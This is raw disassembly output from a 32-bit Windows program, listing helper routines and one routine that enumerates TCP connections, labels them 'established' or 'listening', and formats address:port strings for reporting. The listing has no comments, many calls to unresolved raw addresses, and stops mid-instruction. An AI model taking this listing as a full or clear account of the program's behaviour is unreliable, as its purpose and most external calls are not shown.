lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 mov edx, [esi+4] mov ecx, esi push edx call sub_40205E sub_418940 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401F4Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4015D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 pop esi add esp, 0Ch retn sub_418A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_402086j push esi mov esi, ecx call sub_401528 mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A90 proc near ; CODE XREF: sub_402211j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40221B neg al sbb eax, eax inc eax retn 4 sub_418AE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B10 proc near ; CODE XREF: sub_40142Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jz short loc_418B6A loc_418B28: ; CODE XREF: sub_418B10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jnz short loc_418B28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418B6A: ; CODE XREF: sub_418B10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418BA0 proc near ; CODE XREF: sub_4020E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D57 sub_418BA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BC0 proc near ; CODE XREF: sub_401550j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jz short loc_418C1A loc_418BD8: ; CODE XREF: sub_418BC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40214E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jnz short loc_418BD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C1A: ; CODE XREF: sub_418BC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C53 sub_418C50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418C65 mov edi, esi loc_418C65: ; CODE XREF: ___:00418C61j push esi call sub_4015D2 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418C7A mov edi, esi loc_418C7A: ; CODE XREF: ___:00418C76j push esi call sub_401B1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013F2 sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4015D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418CC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418CE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401528j mov eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D20 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020E0 mov eax, esi pop esi retn 4 sub_418D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_40221Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C8A mov esi, eax push esi call sub_401A82 push esi mov ebx, eax call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [ebx] push esi mov [eax], edx call sub_401C58 push esi mov ebx, eax call sub_401A82 mov eax, [eax] push eax call sub_401C58 mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_401762 push esi mov ecx, edi call sub_4020E5 sub_418D80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E40 proc near ; CODE XREF: sub_401D57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418E40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F0A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E90 proc near ; CODE XREF: sub_40214Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401ECE mov esi, eax push esi call sub_4015D2 push esi mov ebx, eax call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [ebx] push esi mov [eax], edx call sub_401B1D push esi mov ebx, eax call sub_4015D2 mov eax, [eax] push eax call sub_401B1D mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018C5 push esi mov ecx, edi call sub_40205E sub_418E90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_401B1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_418F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F70 proc near ; CODE XREF: sub_401C53j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_418F70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418FA0 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418FA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FC0 proc near ; CODE XREF: sub_4020E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_418FC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FE0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419010 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419030 proc near ; CODE XREF: sub_4018C5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419030 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401ECEj mov eax, [ecx] retn sub_419050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190B0 proc near ; CODE XREF: sub_402103j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4190B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43E074 call sub_4367FA sub_4190B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41911D mov ecx, eax call sub_401F0F ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41911D: ; CODE XREF: ___:004190FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419170 proc near ; CODE XREF: sub_401F0Fj push 0FFFFFFFFh push offset SEH_419170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_4367FA sub_419170 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4191BE mov ecx, eax call sub_4015B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4191BE: ; CODE XREF: ___:004191A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4015B9j mov eax, ecx retn sub_419200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419220 proc near ; CODE XREF: sub_401965j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_419220 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4192C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4192C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017E4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419669 push ebp push edi push offset asc_443600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax call sub_401681 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+2B8h+var_274] call sub_401861 xor ebp, ebp push offset dword_443D94 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013E3 test eax, eax jz short loc_41936F mov [esp+2B4h+var_2A0], 2 jmp short loc_419389 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C0+A3j push offset dword_443D90 lea ecx, [esp+2B8h+var_274] call sub_4013E3 test eax, eax jz short loc_419389 mov [esp+2B4h+var_2A0], 1 loc_419389: ; CODE XREF: sub_4192C0+ADj ; sub_4192C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D84 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419418 mov esi, dword_50FA9C add eax, 2 push offset dword_443D84 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419418 mov ecx, [ebx+32h] push offset off_443D80 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41964F loc_419418: ; CODE XREF: sub_4192C0+123j ; sub_4192C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_436C60 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419645 lea ebp, [esi+14h] loc_419454: ; CODE XREF: sub_4192C0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_419468 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41962F loc_419468: ; CODE XREF: sub_4192C0+198j mov ax, [ebp-8] mov esi, dword_50FC20 push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_401474 mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_401474 mov eax, [ebp-10h] sub eax, 2 jz short loc_4194CC sub eax, 3 jnz short loc_4194F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_4192C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4194D5: ; CODE XREF: sub_4192C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4194F2: ; CODE XREF: sub_4192C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419518 xor ebx, ebx loc_419518: ; CODE XREF: sub_4192C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push offset aSD_1 ; "%s:%d" lea ecx, [esp+2C0h+var_224] push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_401424 mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4195B1 cmp eax, 1 jz loc_419616 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195A4 cmp eax, esi jnz short loc_419616 loc_4195A4: ; CODE XREF: sub_4192C0+2DEj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4195D7 ; --------------------------------------------------------------------------- loc_4195B1: ; CODE XREF: sub_4192C0+2CAj cmp eax, 2 jz short loc_419616 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4195C5 cmp eax, edi jnz short loc_419616 loc_4195C5: ; CODE XREF: sub_4192C0+2FFj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4195D7: ; CODE XREF: sub_4192C0+2EFj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+2B8h+var_28C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_419616: ; CODE XREF: sub_4192C0+2CFj ; sub_4192C0+2E2j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41962F: ; CODE XREF: sub_4192C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419454 loc_419645: ; CODE XREF: sub_4192C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41964F: ; CODE XREF: sub_4192C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_41966B ; --------------------------------------------------------------------------- loc_419669: ; CODE XREF: sub_4192C0+3Dj mov al, 1 loc_41966B: ; CODE XREF: sub_4192C0+3A7j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4192C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419790 proc near ; CODE XREF: sub_401474j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp call near ptr 77C3FA76h nop mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419850 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41981E mov eax, [esp+30h] test eax, eax jz short loc_41981E push 2 lea edx, [esp+30h+arg_0] push 4 push edx call near ptr 71ABE479h nop test eax, eax jz short loc_419850 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_419790+5Aj ; sub_419790+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw call near ptr 71AB50C8h nop test eax, eax pop edi jnz short loc_419850 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call near ptr 77C47A90h nop add esp, 0Ch loc_419850: ; CODE XREF: sub_419790+52j ; sub_419790+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419790 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_401EECj nop call near ptr 27F06DAh push eax call near ptr 77C371BCh nop pop ecx retn sub_4198A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198C0 proc near ; CODE XREF: sub_4021A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi nop call near ptr 77C371D3h mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43E0B0 call sub_4368EA sub_4198C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: ___:00401C85j call near ptr 77C371D3h nop cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419930: ; CODE XREF: ___:0040151Ej retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419950: ; CODE XREF: ___:00401FC3j xor al, al retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419970 proc near ; CODE XREF: sub_401523j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D60B5 call sub_401118 retn sub_419970 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: ___:00401505j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4199E3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4199E3 mov [esp+18h], eax loc_4199E3: ; CODE XREF: ___:004199CBj ; ___:004199DDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_506E6C loc_4199F8: ; CODE XREF: ___:00419A49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419A4B cmp byte ptr [esi], 0 jz short loc_419A34 mov eax, [esp+30h] test eax, eax jz short loc_419A28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419A28 push eax push esi call near ptr 77C47C60h nop add esp, 8 test eax, eax jz short loc_419A34 loc_419A28: ; CODE XREF: ___:00419A0Fj ; ___:00419A17j push edi push esi push ebx push ebp call sub_401523 add esp, 10h loc_419A34: ; CODE XREF: ___:00419A07j ; ___:00419A26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50AE6C mov [esp+14h], edx jl short loc_4199F8 loc_419A4B: ; CODE XREF: ___:00419A02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: ___:00402266j push ebx mov ebx, 